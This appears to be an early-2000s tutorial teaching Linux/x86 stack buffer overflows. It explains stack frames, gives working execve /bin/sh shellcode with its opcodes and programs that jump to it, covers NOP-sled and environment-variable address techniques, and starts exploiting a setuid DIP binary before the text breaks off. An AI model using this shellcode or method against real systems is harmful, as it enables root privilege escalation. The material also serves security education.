BUFFER OVERFLOWS DEMYSTIFIED
		      by murat@enderunix.org

	Emergence of buffer overflow vulnerabilities dates back to 1970s.
Morris Worm (1980s) can be considered the first public use of them. 
Documents such as Aleph1's famous "Smashing the Stack for Fun and Profit"
and code related to it has been being published on the Internet since 
1990s. 

	This document is a starter of a series of documents about some sort
of subjects, which require great attention and involve pretty much detail;
and aims to explain and clarify the very basic vulnerability type, namely
local buffer overflows, and document the way to write exploits making use of
such vulnerabilities.

	To understand what goes on, some C and assembly knowledge is 
required. Virtual Memory, some Operating Systems essentials, like, for 
example, how a process is laid out in memory will be helpful. You MUST know
what a setuid binary is, and of course you need to be able to -at least-
use UNIX systems. If you have an experince of gdb/cc, that is something 
really really good. Document is Linux/ix86 specific. The details differ 
depending on the Operating System or architecture you're using. In the
upcoming documents, relatively more advanced overflow and shellcode
techniques will be explained.

	Recent versions of document can be found on:
	http://www.enderunix.org/documents/eng/bof-eng.txt	

What's a Buffer Overflow?

	If you know C, you - most probably - know what a character array is.
Assuming that you code in C, you should already know the basic properties
of arrays, like: arrays hold objects of similar type, e.g. int, char, float.
Just like all other data structures, they can be classified
as either being "static" or being "dynamic". Static variables are loaded to
the data segment part of the program, whereas dynamic variables are allocated
and deallocated within the stack region of the executable in the memory.
And, "stack-based" buffer overflows occur here, we stuff more data than a 
data structure, say an array, can hold, we exceed the boundaries of the array
overriding many important data. Simply, it is copying 20 bytes to an array that
can handle only 12 bytes...

	Memory layout for a Linux ELF binary is quite complex. It has become 
even more complex, expecially after ELF (for detailed info, conduct a search
in google as "Executable and Linkable Format") and shared libraries are
introduced. However, basically, every process starts running with 3 segments:

1. Text Segment, is a read-only part that includes all the program instructions.
   For such assembly instructions that are the equivalent of the below C code
   will be included in this segment:

	for (i = 0; i < 10; i++)
		s += i;

2. Data Segment is the block where initialized and uninitialized (which
   is also known as BSS) data is.
   For example:

	if you code;
	
	int i;
	
	the variable is an uninitialized variable, and it'll be stored in
 	the "uninitialized variables" part of the Data Segment. (BSS)

	and, if you code;

	int j = 5;

	the variable is an initialized variable, and the the space for
	the j variable will be allocated in the "initialized variables" 
	part of the Data Segment.

3. A segment, which is called "Stack", where dynamic variables (or in C
   jargon, automatic variables) are allocated and deallocated; and where
   return addresses for functions are stored temporarily. For example,
   in the following code snippet, i variable is created in the stack,
   just after the function returns, it is destroyed:

	int myfunc(void)
	{
		int i;
		
		for (i = 0; i < 10; i++)
			putchar("*");
		putchar('\n');
	}

   If we are to symbolize the stack:

0xBFFFFFFF ---------------------
           |                   |
           |        .          |
           |        .          |
           |        .          |
           |        .          |
           |       etc         |
           | env/argv pointer. |
           |       argc        |
           |-------------------|
           |                   |
           |      stack        |
           |                   |
           |        |          |
           |        |          |
           |        V          |
           /                   /
           \                   \
           |                   |
           |        ^          |
           |        |          |
           |        |          |
           |                   |
           |       heap        |
           |-------------------|
           |        bss        |
           |-------------------|
           | initialized data  |
           |-------------------|
           |       text        |
           |-------------------|
           | shared libraries  |
           |        etc.       |
0x8000000  |-------------------|

			_* STACK *_

Stack is in basic terms a data structure, which all of you
will remember from your Data Structures courses. It has the
same basic operation. It's a LIFO (Last-In, First Out) data 
data structure. Its processes are controlled directly by the CPU
via some special instructions like PUSH and POP. You PUSH some data
to the Stack, and POP some other data. Whoever comes in LAST, he's
the one who will go out FIRST. So, in technical terms, the first 
that will be popped from the stack is the one that is pushed last.

SP (Stack Pointer) register on the CPU contains the address of data
that will be popped from the stack. Whether SP points to the last data 
or the one after the last data on the stack is CPU-specific; however,
ix86 architecture, which is our subject, SP points to the address of the 
last data on the Stack. In ix86 protected mode (32 bit/double word),
PUSH and POP instructions are done in 4-byte-units. Another important detail
to be noted here is that Stack grows downward, that is, if SP is 0xFF, just
after PUSH EAX instruction, SP will become 0xFC and the value of EAX will be
placed on 0xFC address.

PUSH instruction will subtract 4 bytes from ESP (remember the above
paragraph), and will push  a double word to the stack, placing the double
wordin the address pointed by the ESP register. POP instruction, on the other
hand, reads the address in the ESP register, POPs the value pointed by that 
address from the Stack, and adds 4 to ESP (adds 4 to the address in the ESP 
register).  Assuming that ESP is initially 0x1000, let's examine the following
assembly code:

PUSH dword1	;value at dword1: 1, ESP's value: 0xFFC (0x1000 - 4)
PUSH dword2	;value at dword2: 2, ESP's value: 0xFF8 (0xFFC - 4)
PUSH dword3	;value at dword3: 3, ESP's value: 0xFF4 (0xFF8 - 4)
POP EAX	;EAX' value 3, ESP's value: 0xFF8 (0xFF4 + 4)
POP EBX	;EBX's value 2, ESP's value: 0xFFC (0xFF8 + 4)
POP ECX	;ECX's value 1, ESP's value: 0x1000 (0xFFC + 4)

Stack, while being used as a temporay storage for dymmic variables,
it's being used to store the return addresses for some fuction calls
storing temporary variables and for passing parameters to fuctions.
And, of course, this is where evil things come into ground.

EIP register, CALL & RET instructions
-------------------------------------

CPU, in each machine cycle, looks at what's stored in the Instruction Pointer
register (In ix86 32-bit protected mode this is EIP - Extended Instruction
Pointer) to know what to execute next. In the EIP register, the address of the
instruction that will be executed next is stored. Usually, the addresses are
sequential, meaning the next instruction that'll be executed next is, a few bytes
ahead of the current instruction in the memory. The CPU calculates that "a few
bytes" according to how many bytes long the current instruction is; and adds
that "a few bytes" value to the address of the present address. To
examplify, assume that the present instruction's address is 0x8048438. This is
the value that's written in EIP. So, CPU is executing the instruction that's
found in memory location: 0x8048438. Say, it's a PUSH instruction: 
		push   %ebp 
CPU knows that a PUSH instruction is 1 byte long, so the next instruction will
be at 0x8048439, which may be 
		mov    %esp,%ebp

While executing the PUSH, CPU will put the address of MOV in EIP.

Okay, we said that the values that'll be put in EIP are calculated by the CPU
itself. What if we JMP to a function?  The addresses of the instructions
in the function will be somewhere else in the memory. After they are executed,
how can the CPU know where to go on with the calling procedure and execute. 
For this, just before we JMP to the function, we save the address of the next
instruction in a temporary register, say in EDX; and before returning from the
function we write the address in EDX to EIP back again. If we use JMP to jump
to the addresses of functions, that would be a very tiresome work actually.

However, ix86 processor family provides us with two instructions: CALL and
RET, making our lives easy! the CALL instruction writes that "next instruction
to be executed after function returns" (from then on, we'll call this
as the "return address") to the stack. It PUSHes it onto the stack, and writes 
the address of the function to EIP. Thus, a function call is made. The RET 
instruction, on the other hand, POPs the "return address" from the stack, and
writes that address in the EIP. Thus we'll safely return from the function,
and continue with the program's next thread of execution.

Let's have a look at the following code snippet:

        x = 0;
        function(1, 2, 3);
        x = 1;

After several assembly instructions has been run for (x = 0), we need to go
the memory location where function() is located. As we said earlier, for this
to happen, first we copy the address of the return address, (the address of x
= 1 instructions in this case.) to some temporary space (might be a register)
jump to the address space of function with JMP, and, in the end of the
function we restore the return address that we'd copied to the EIP.

Thank God, all these dirty operations are done on behalf of us via CALL
and RET by the CPU itself, and you can get the details from the above
paragraph.

Generally, the Stack region of the program can be symbolized like:

|_parameter_I____| ESP+8
|_parameter II___| ESP+4
|_return address_| ESP

Figure X : Stack

ESP, EBP
--------

The stack, as we've said, is also used to store dynamic variables.
Dynamically, the CPU PUSHes some data, as the program requests new space, and
POPs other data, when our program releases some data. To address the memory
locations, we use "relative addressing". That means, we address the locations
of data in our stack in relative to some criterion. And this criterion is ESP,
which is the acronym for Extended Stack Pointer. This register points to the
top of the stack. Consider this:

void f()
{
	int a;
}

As you can see, in the f() function, we allocate space for an integer variable
named a . The space for the integer variable a will be allocated in the stack.
And, the computer will referece its address as ESP - some bytes. So the stack
pointer is quite crucial for the program execution. What if we call a
function? The calling function has a stack, it has some local variables,
meaning it should utilize the stack pointer register. Also, the function that
is called from whithin will have local variables and it'll need that stack
pointer. 

To overcome this, we save the old stack pointer. We, just like we did for the
return address, PUSH the old ESP to the stack, and utilize another register,
named EBP to relatively reference local variables in the callee function.

And, this is the symbolization of the Stack, if ESP is also PUSHed onto the
stack:

|_parametre_I___| EBP+12
|_parametre II__| EBP+8
|_return adress_| EBP+4
|___saved_ESP___| EBP           ESP
|_local var I __| EBP-4
|_local var II__| EBP-8

In the above picture, parameter I and II are the arguments passed to the
function. After the return address and saved ESP, local var I and II are the
local variables of the function. Now, if we sum up all we said,
while calling a function:

1. we save the old stack pointer, PUSHing it onto the stack
2. we save the address of the next instruction (return address), PUSHing it
   onto the stack.
3. and we start executing the instructions of the function.

These 3 steps are all done when we CALL a sunroutine, say a function.

Let's see the operation of the stack, and procedure prologue in a live
example:

---------------------------------- a.c ---------------------------------
void f(int a, int b, int c)
{
        char z[4];
}

void main()
{
        f(1, 2, 3);
}
---------------------------------- a.c ---------------------------------

compile this with the -g flag to enable debugging:
[murat@victim murat]$ gcc -g a.c -o a

Let's see the what's happened there:

[murat@victim murat]$ gdb -q ./a
(gdb) disas main
Dump of assembler code for function main:
0x8048448 <main>:       pushl  %ebp
0x8048449 <main+1>:     movl   %esp,%ebp
0x804844b <main+3>:     pushl  $0x3
0x804844d <main+5>:     pushl  $0x2
0x804844f <main+7>:     pushl  $0x1
0x8048451 <main+9>:     call   0x8048440 <f>
0x8048456 <main+14>:    addl   $0xc,%esp
0x8048459 <main+17>:    leave
0x804845a <main+18>:    ret
End of assembler dump.
(gdb)

As you can see above, in main()
the first instruction is:
	0x8048448 <main>:       pushl  %ebp
which backs up the old stack pointer. It pushes it onto the stack.

Then, copy the old stack pointer to the ebp register:
	0x8048449 <main+1>:     movl   %esp,%ebp
Thus, from then on, in the function, we'll reference function's local
variables with EBP.  These two instructions are called the 
"Procedure Prologue".

Then, we PUSH the function f()'s arguments onto the stack in reverse order:
	0x804844b <main+3>:     pushl  $0x3
	0x804844d <main+5>:     pushl  $0x2
	0x804844f <main+7>:     pushl  $0x1

We call the function:
	0x8048451 <main+9>:     call   0x8048440 <f>
As I've explained by CALL'ing we PUSHed the addres of instruction 
addl $0xc,%esp's address 0x8048456 onto the stack.

after the function RETurned, we add 12 or 0xc in hex (since we pushed 3 args
onto the stack, each allocating 4 bytes (integers)). 

Then we leave the main() function, and return:
	0x8048459 <main+17>:    leave
	0x804845a <main+18>:    ret

Ok, what happened inside the function f() ?:
(gdb) disas f
Dump of assembler code for function f:
0x8048440 <f>:  pushl  %ebp
0x8048441 <f+1>:        movl   %esp,%ebp
0x8048443 <f+3>:        subl   $0x4,%esp
0x8048446 <f+6>:        leave
0x8048447 <f+7>:        ret
End of assembler dump.
(gdb)

The first two instructions are just the same. They are procedure prologue.
Then we see a :
	0x8048443 <f+3>:        subl   $0x4,%esp
which subtracts 4 bytes from ESP. This is to allocate space for the local z
variable. We declared it as char z[4] remember? It is a 4-byte character
array.

End, at the end, the function returns:
	0x8048446 <f+6>:        leave
	0x8048447 <f+7>:        ret

Okay, let's see another example:

------------------------------------- b.c -----------------------------
void f(int a, int b, int c)
{
        char foo1[6];
        char foo2[9];
}

void main()
{
        f(1,2,3);
}
------------------------------------- b.c -----------------------------

compile and launch gdb, disassemble f:
[murat@victim murat]$ gcc -g b.c -o b
[murat@victim murat]$ gdb -q ./b
(gdb) disas f
Dump of assembler code for function f:
0x8048440 <f>:  pushl  %ebp
0x8048441 <f+1>:        movl   %esp,%ebp
0x8048443 <f+3>:        subl   $0x14,%esp
0x8048446 <f+6>:        leave
0x8048447 <f+7>:        ret
End of assembler dump.
(gdb)

As you can see, 0x14 (20 bytes) is subtracted from ESP, though the total
length of both foo1 and foo2 array is just 9 + 6 = 15. This is so because,
memory, also the stack, is addressed in frames of four bytes. This means, you
cannot simply PUSH 1-byte data onto the stack. Either 4 byte or none.

When the f() is called, the stack will be something like this:

|_______$1_______| EBP+16
|_______$2_______| EBP+12
|_______$3_______| EBP+8
|_return address_| EBP+4
|___saved_ESP____| EBP           ESP
|______foo1______| EBP-4
|______foo1______| EBP-8
|______foo2______| EBP-12
|______foo2______| EBP-16
|______foo2______| EBP-20

As you can guess, when we load more than 8 bytes to foo1 and more than 12
bytes for foo2, we will have overflowed their space. If you write 4 bytes more
to foo1, you will overwrite saved EBP, and ..... if you write 4 bytes more,
you will overwrite the return address..... And that's all what we all want,
isn't it? This is the basis for buffer overflows...

Let's try to clarify this phonemenon a little bit with a simple code:

Assume that we have such code:

---------------------------------- c.c ------------------------------
#include <string.h>

void f(char *str)
{
        char foo[16];

        strcpy(foo, str);
}

void main()
{
        char large_one[256];

        memset(large_one, 'A', 255);
        f(large_one);
}
---------------------------------- c.c ------------------------------

[murat@victim murat]$ make c
cc -W -Wall -pedantic -g    c.c   -o c
[murat@victim murat]$ ./c
Segmentation fault (core dumped)
[murat@victim murat]$

What we do above is simply writing 255 bytes to an array that can hold only 16
bytes. We passed a large array of 256 bytes as a parameter to the f()
function. Within the function, without bounds checking we copied the whole large_one
to the foo, overflowing all the way foo and some other data. Thus buffer is
filled, also strcpy() filled other portions of memory, including the return
address,  with A.

Here is the inspection of generated core file with gdb:

[murat@victim murat]$ gdb -q c core
Core was generated by `./c'.
Program terminated with signal 11, Segmentation fault.
find_solib: Can't read pathname for load map: Input/output error

#0  0x41414141 in ?? ()
(gdb)

As you can see, CPU saw 0x41414141 (0x41 is the hex ASCII code for letter A)
in EIP, tried to access and execute the instruction located there. However,
0x41414141 was not memory address that our program was allowed to access. In
the end, OS send a SIGSEGV (Segmentation Violation) signal to the program and
stopped any further execution. 

When we called f(), the stack looked like this:

|______*str______| EBP+8
|_return address_| EBP+4
|___saved_ESP____| EBP           ESP
|______foo1______| EBP-4
|______foo1______| EBP-8
|______foo1______| EBP-12
|______foo1______| EBP-16

strcpy() copied large_one to foo, without bounds checking, filling the whole
stack with A, starting from the beginning of foo1, EBP-16. 

Now that we could overwrite the return address, if we put the address of some
other memory segment, can we execute the instructions there? The answer is
yes.

Assume that we place some /bin/sh spawning instructions on some memory
address, and we put that address on the function's return address that we
overflow, we can spawn a shell, and most probably, we will spawn a root
shell, since you'll be already interested with setuid binaries.

How to execute /bin/sh ?
------------------------

In C, the code to spawn a shell would be like this:

----------------------------- shell.c ------------------------------------
#include <unistd.h>

void main()
{
        char *shell[2];

        shell[0] = "/bin/sh";
        shell[1] = NULL;

        execve(shell[0], shell, NULL);
}

----------------------------- shell.c ------------------------------------

[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g    shell.c   -o shell
[murat@victim murat]$ ./shell
bash$

If you look at the man page of execve ( $ man 2 execve ), you'll see that
execve expects a pointer to the filename that'll be executed, a NULL
terminated array of arguments, and an environment pointer, which can be NULL.
If you compile and run the output binary, you'll see that you spawn a new shell.

So far so good... But we cannot spawn a shell in this way, right? How can we
send this code to the vulnerable program this way? We can't! 

This poses us a new question: How can we pass our evil code to the vulnerable
program? We will need to pass our code, which will possibly be a shell code,
in the vulnerable buffer. For this to happen, we have to be able to represent
our shell code in a string. 

Thus we'll list all the assembly instructions to spawn a shell, get their op
codes, list them one by one, and assemble them as a shell spawning string.

First, let's see how the above (shell.c) code will be in assembly. Let's
compile the program as static (this way, also execve system call will be
disassmbled) and see:

[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \<__execve\>: -A 12
0804ca10 <__execve>:
 804ca10:       53              pushl  %ebx
 804ca11:       8b 54 24 10     movl   0x10(%esp,1),%edx
 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),%ecx
 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),%ebx
 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax
 804ca22:       cd 80           int    $0x80
 804ca24:       5b              popl   %ebx
 804ca25:       3d 01 f0 ff ff  cmpl   $0xfffff001,%eax
 804ca2a:       0f 83 00 02 00  jae    804cc30 <__syscall_error>
 804ca2f:       00
 804ca30:       c3              ret
 804ca31:       90              nop
[murat@victim murat]$

Let's analyze the syscall step by step:

Remember, in our main() function, we coded:

	execve(shell[0], shell, NULL)

We passed:
	1. the address of string "/bin/sh"
	2. the address of NULL terminated array
	3. NULL (in fact it is env address)

Here in the main:

[murat@victim murat]$ objdump -d shell | grep \<main\>:  -A 17
08048124 <main>:
 8048124:       55              pushl  %ebp
 8048125:       89 e5           movl   %esp,%ebp
 8048127:       83 ec 08        subl   $0x8,%esp
 804812a:       c7 45 f8 ac 92  movl   $0x80592ac,0xfffffff8(%ebp)
 804812f:       05 08
 8048131:       c7 45 fc 00 00  movl   $0x0,0xfffffffc(%ebp)
 8048136:       00 00
 8048138:       6a 00           pushl  $0x0
 804813a:       8d 45 f8        leal   0xfffffff8(%ebp),%eax
 804813d:       50              pushl  %eax
 804813e:       8b 45 f8        movl   0xfffffff8(%ebp),%eax
 8048141:       50              pushl  %eax
 8048142:       e8 c9 48 00 00  call   804ca10 <__execve>
 8048147:       83 c4 0c        addl   $0xc,%esp
 804814a:       c9              leave
 804814b:       c3              ret
 804814c:       90              nop

before the call execve (call   804ca10 <__execve>), we pushed the arguments onto
the stack in reverse order. 

So, if we turn back to __execve:

We copy the NULLL byte to the EDX register,
 804ca11:       8b 54 24 10     movl   0x10(%esp,1),%edx

We copy the addresss of the NULL terminated array into ECX register,
 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),%ecx

We copy the address of string "/bin/sh" into the EBX register,
 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),%ebx

We copy the syscall index for execve, which is 11 (0xb) to EAX register:
 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax

Then change into kernel mode:
 804ca22:       cd 80           int    $0x80

All what we need is this much. However, there are problems here. We cannot
exactly know the addresses of the NULL terminated array's and string
"/bin/sh"'s addresses. So, how about this?:

	xorl	%eax, %eax
	pushl	%eax
	pushl   $0x68732f2f 
	pushl   $0x6e69622f 
	movl    %esp,%ebx
	pushl   %eax 
	pushl   %ebx 
	movl    %esp,%ecx
	cdql
	movb    $0x0b,%al
	int     $0x80

Let's try to explain the above instructions:

If you xor something with itself, you get 0, equivelant of NULL.
Here, we get a NULL in EAX register:
	xorl	%eax, %eax

Then we push the NULL onto stack:
        pushl   %eax

We push string "//sh" onto the stack,
	2f is /
	2f is /
	73 is s
	68 is h

        pushl   $0x68732f2f

We push string "/bin" onto the stack:
	2f is /
	62 is b
	69 is i	
	6e is n	

	pushl   $0x6e69622f 

As you can guess, now the stack pointer's address is just like the address of
our NULL terminated string "/bin/sh"'s address. Because, starting from the stack pointer
which points to the top of the stack, we have a NULL terminated character
array. So, we copy the stack pointer to EBX register. See, we have already
placed "/bin/sh"'s address into EBX register :
	movl    %esp,%ebx

Then we need to set ECX with the NULL terminated array's address. To do this,
We create a NULL-terminated array in our stack, very similar to the above one:
First we PUSH a NULL. we can't do PUSH NULL, but we can PUSH something which
is NULL, remember that we xor'd EAX register and we have NULL there, so let's
PUSH EAX to get a NULL in the stack:
	pushl   %eax

Then we PUSH the address of our string onto stack, this is the equivelant of
shell[0]:
	pushl	%ebx

Now that we have a NULL terminated array of pointers, we can save its address
in ECX:
        movl    %esp,%ecx

What else do we need? A NULL in EDX register. we can movl %eax, %edx, but we
can do this operation with a shorter instruction: cdq. This instruction
sign-extends what's in EAX to EDX. :
	cdql

We set EAX 0xb which is the syscall id of execve in system calls table.
        movb    $0x0b,%al

Then, we change into kernel mode:
	int	0x80

After, we go into kernel mode, the kernel will exec what we instructed it:
/bin/sh and we will enter an interactive shell...	

So, after this much philosophy, all what we need is to convert these asm
instructions into a string. So, let's get the hexadecimal opcodes and assemble
our evil code:

------------------------------ sc.c -----------------------------------------
char newsc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main()
{
}
------------------------------ sc.c -----------------------------------------

[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \<sc\> -A13
080494b0 <sc>:
 80494b0:       31 c0           xorl   %eax,%eax
 80494b2:       50              pushl  %eax
 80494b3:       68 2f 2f 73 68  pushl  $0x68732f2f
 80494b8:       68 2f 62 69 6e  pushl  $0x6e69622f
 80494bd:       89 e3           movl   %esp,%ebx
 80494bf:       50              pushl  %eax
 80494c0:       53              pushl  %ebx
 80494c1:       89 e1           movl   %esp,%ecx
 80494c3:       99              cltd
 80494c4:       b0 0b           movb   $0xb,%al
 80494c6:       cd 80           int    $0x80
 80494c8:       00 00           addb   %al,(%eax)
        ...
[murat@victim newsc]$

In the above figure, the first column is the memory address of the instruction, the following
columns are the opcodes for the asm instruction, which is our interest, and
the last column is the assembly instructions corresponding to the opcodes.

And, here is the complete shell code:

    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */

Let's test our shell code:

---------------------- shellcode.c ------------------------------------

char sc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main()
{
        int *ret;

        ret = (int *)&ret + 2;
        *ret = sc;
}

---------------------- shellcode.c ------------------------------------

[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$

Hmm, it works. 

What we've done above is, increasing the address of ret (which is a pointer to
integer) 2 double words (8 bytes), thus reaching the memory location where the
main()'s return address is stored. And then, because ret's relative address is
now RET, we stored the address of string sc's address (which is our evil
code) into ret. In fact, we changed the return address' value there. the
return address then pointed to sc[]. When main() issued RET, the sc's address
has been written to EIP, and consequently, the CPU started executing the
instructions there, resulting in the execution of /bin/sh.

		+ Writing Local Buffer Overflow Exploits +

Now, let's look at the following program:

--------------------------- victim.c -------------------------------------
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char large_str[50];

void main()
{
        int i;
        char foo[12];

        int *ap = (int *)large_str;

        for (i = 0; i < 50; i += 4)
                *ap++ = sc;
        strcpy(foo, large_str);
}
--------------------------- victim.c -------------------------------------

[murat@victim newsc]$ make victim
cc     victim.c   -o victim
[murat@victim newsc]$ ./victim
bash$

Voila! That's it! What did we do? in the for loop, we copied the address of
our shellcode string. Since the addresses is 32 bit (4byte) we increase i by
4. Then, in main(), when we copy large_str which has our shellcode's address
onto foo, which can indeed hold 12 bytes only, strcpy did not do bounds
checking, and copied all the way through the return address of main. Then,
when strcpy issued RET, our shellcode's address was POPed, and put into EIP.
It was then, executed. One thing here: strcpy did not overflow its buffer, it
overflowed main()'s buffer, thus overwrote main()'s return address. Our shell
began when main() returned, not when strcpy returned.

The above victim.c was our program. We knew the address of our shellcode to
jump. What if we are asked to exploit another program's buffer? We cannot know
the memory layout beforehand, can we? This means we cannot know the address of
our shellcode. What can we do now? First, we have to inject the shellcode to
the vulnerable program someway, and we have to get the address of shellcode
one way or another. When we are talking about local exploits, we have two
methods here. 

1. As Aleph1's famous "Smashing the Stack for Fun and Profit" explains, we
place our shellcode into the vulnerable buffer of vulnerable program, and try
to guess the offset from our exploit's ESP. 

2. The second way is much more easier and smarter. By this method, we can know
the address of our shellcode! What a nice thing it is! How? See this:

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you'll see something like this:

--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ......        | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

Looking at the above figure, we are all agreed that we can calculate the
addresss of the last environment variable. It is:

envp = 0xBFFFFFFF -
       4 -			(4 NULL bytes)
       strlen(program_name) -	(program_names's length - without the leading 
				NULL).
       1 - 			(NULL which strlen did not count above)
       strlen(envp[n]))		(the length of last environment string)

Get rid of some unneccessary calculations, and, here is the final version:

envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

Did you remember, we supplied execve with an environment pointer? Does that
ring a bell ? Right, we can pass our shellcode to the vulnerable program
via the environment pointer, and calculate its address. This means we __
exactly __ know what we need to write as the address to the vulnerable buffer.

Formula for the address of our shellcode:

ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);

2. As for the method Aleph1 discussed in his paper, and, which is widely used
by most of the guys out there, it is somewhat much more difficult than our env
technique. For details, you can have a look at Aleph1's paper, Smashing the
Stack for Fun and Profit (http://www.phrack.org/show.php?p=49&a=14) 
  Generally speaking, in this method, we put "NOP" Instructions (NOP) to the
start of the buffer. After NOPs, we place our shellcode, then the address of
this shellcode. As I said before, since we cannot know the exact address of our
shellcode, we pad some NOP instructions to the beginning of the buffer to
increase the likelihood that we jump to some location near to our shellcode. 

From Aleph1's paper:
"As we can see this is not an efficient process.  Trying to guess the
offset even while knowing where the beginning of the stack lives is nearly
impossible.  We would need at best a hundred tries, and at worst a couple of
thousand.  The problem is we need to guess *exactly* where the address of our
code will start.  If we are off by one byte more or less we will just get a
segmentation violation or a invalid instruction.  One way to increase our
chances is to pad the front of our overflow buffer with NOP instructions.
Almost all processors have a NOP instruction that performs a null operation.
It is usually used to delay execution for purposes of timing.  We will take
advantage of it and fill half of our overflow buffer with them.  We will place
our shellcode at the center, and then follow it with the return addresses. If
we are lucky and the return address points anywhere in the string of NOPs,
they will just get executed until they reach our code.  In the Intel
architecture the NOP instruction is one byte long and it translates to 0x90
in machine code.  Assuming the stack starts at address 0xFF, that S stands for
shell code, and that N stands for a NOP instruction the new stack would look
like this:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack "

Here, we *guess* the address. By the following routine we get the address
currently stored in i the ESP register:

	unsigned long getesp()
	{
       		__asm__("movl %esp, %eax");
	}

With the help of the above function, we can have an *idea* of where in memory
the stack pointer may be. Then we subtract offset values from this SP's
address. If we are lucky enough, we can guess the address of one of the NOPs
in the buffer. (However, note that the getesp() doesn't return the vulnerable
program's ESP. It's our exploit's ESP. It is just to have a range in mind)

To clarify the difference between these two methods, let's write two exploits,
and apply what we've leant till now.

			* The Exploits *

Now that we know, what a buffer overflow is, we know how to overflow a buffer
to overwrite the return address, we know how we can modufy the return address
of a function, no need to talk more. Let's code the exploit.

In version  3.3.7o-uri (8 Feb 96) of DIP (Dial-Up IP Protocol) program, there
was a buffer overflow bug. The program was by-default setuid in some Linux
distros. The -l switch was problematic. The dip code wasn't careful about
handling the value, which was expected as an argument passed by the user to
the program, without bounds-checking, it just stpcpy()'ed whatever passed as 
argument to some local buffer, which could only hold limited amount of data;
thus giving rise to a buffer overflow.

The vulnerable code part is such:

       l = stpcpy(l, argv[i]);

if you look at the manual page for stpcpy ($man 3 stpcpy); stpcpy, without
thinking of the boundaries of the buffers it handles, it copies one whole
array to the other. What we need to do here is to 

1. in Aleph's method, to pad some NULL operations (NOPs) to at least half
of the buffer, then place our shellcode and the guessed address of one of the
NOPS, or the shellcode itself.

2. In our method, because we know exactly where in memory our shellcode lies,
we just copy this address to the whole array.

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$

As you can see above, when we wrote 29 ABCD's (29 * 4 = 116 bytes) nothing
happened, tough when we wrote 30 ABCD's (30 * 4 = 120 bytes) the program
exited with segmentation violation. It didn't core dump, because the program
is setuid root. Let's become root, and see what happens when we supply 
a 120-byte string to -l switch:

[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
